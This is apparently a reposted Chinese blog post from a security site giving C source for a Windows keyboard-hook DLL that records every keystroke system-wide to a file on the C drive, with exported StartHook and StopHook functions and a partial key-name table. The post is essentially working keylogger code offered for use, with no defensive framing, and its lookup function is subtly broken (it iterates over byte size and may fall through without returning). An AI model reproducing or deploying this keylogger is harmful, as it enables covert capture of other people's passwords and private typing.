首页 网络安全 安全学院 查看内容

C语言键盘钩子编写

2009-8-12 11:40 901 0

摘要: 在开始贴这段垃圾代码以前,先给大家道个歉,也先扇自己一巴掌。本来说好昨天把代码搞好的,谁知道还没开始整,就过了12点了,食言了。代码还没有怎么写好,先把关键代码粘贴出来,等今天晚上把代码整理好,功能完...
关键词: nbsp AddVKey vKey DLLEXPORT return hModule 代码 CuhHook include LPARAM

在开始贴这段垃圾代码以前,先给大家道个歉,也先扇自己一巴掌。本来说好昨天把代码搞好的,谁知道还没开始整,就过了12点了,食言了。代码还没有怎么写好,先把关键代码粘贴出来,等今天晚上把代码整理好,功能完善了再修改这个文章,顺便把写程序的过程、遇到的问题以及关键思路写出来。下面是DLL的关键代码(C语言编写,考虑DLL的兼容性)://////////////////////////////////////keyhook.c//作用:DLL主文件//作者:zaroty//时间:2008年9月9日0:54:39//博客:http://hi.badu.com/zaroty///////////////////////////////////#define _WIN32_WINNT 0x0500 //底层钩子需要设置系统版本号#include <windows.h>#include <stdio.h>#include "keyhook.h"#include "vKey.h"HHOOK CuhHook=NULL;HANDLE g_hModule;BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, void* lpReserved) {    switch(dwReason)    {    case DLL_PROCESS_ATTACH:       g_hModule = (HINSTANCE)hModule;       break;    case DLL_PROCESS_DETACH:        g_hModule=NULL;        break;    }    return TRUE;} LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){    KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam;    LPCSTR log=GetKeyName(pStruct->vkCode);    if (wParam==WM_KEYDOWN)    {        FILE *fl=fopen("C:\\FUCK.TXT","a+");        fprintf(fl,"%s",log);        fclose(fl);    }    return CallNextHookEx( CuhHook, nCode, wParam, lParam );} DLLEXPORT BOOL StartHook(){    CuhHook=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,g_hModule,0);    if (CuhHook!=NULL)    {        return 1;    }    else    {        return 0;    }}DLLEXPORT BOOL StopHook(){    if (UnhookWindowsHookEx(CuhHook))    {        return 1;    }    else    {        return 0;    }} ========================== //////////////////////////////////////keyhook.h//作用:DLL头文件,声明导出的函数//作者:zaroty//时间:2008年9月9日0:54:39//博客:http://hi.badu.com/zaroty///////////////////////////////////#define DLLEXPORT __declspec(dllexport)DLLEXPORT BOOL StartHook();DLLEXPORT BOOL StopHook(); 还有一个文件是vkey.h,包含了virtual-key code与ASCII的转换 大体内容为: struct VKeyInfo{    USHORT VKey;    LPCSTR VKname;};#define AddVKey(VK, VKName)   {(VK), (VKName)}struct VKeyInfo vkey[]={        AddVKey(0x30, "0"),        AddVKey(0x31, "1"),        AddVKey(0x32, "2"),        AddVKey(0x33, "3"),        AddVKey(0x34, "4"),        AddVKey(0x35, "5"),        AddVKey(0x36, "6"),        AddVKey(0x37, "7"),        AddVKey(0x38, "8"),        AddVKey(0x39, "9"),        AddVKey(0x3A, "Undefined"),        AddVKey(0x3B, "Undefined"),//省略。。。。。。。。} LPCSTR GetKeyName(USHORT VKey){    int i;    for(i = 0; i<sizeof(vkey); i++)    {        if(VKey == vkey[i].VKey)            return vkey[i].VKname;    }} 就这么三个部分,记录键盘的时候只要调用StartHook就好了,取消记录的时候调用StopHook。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部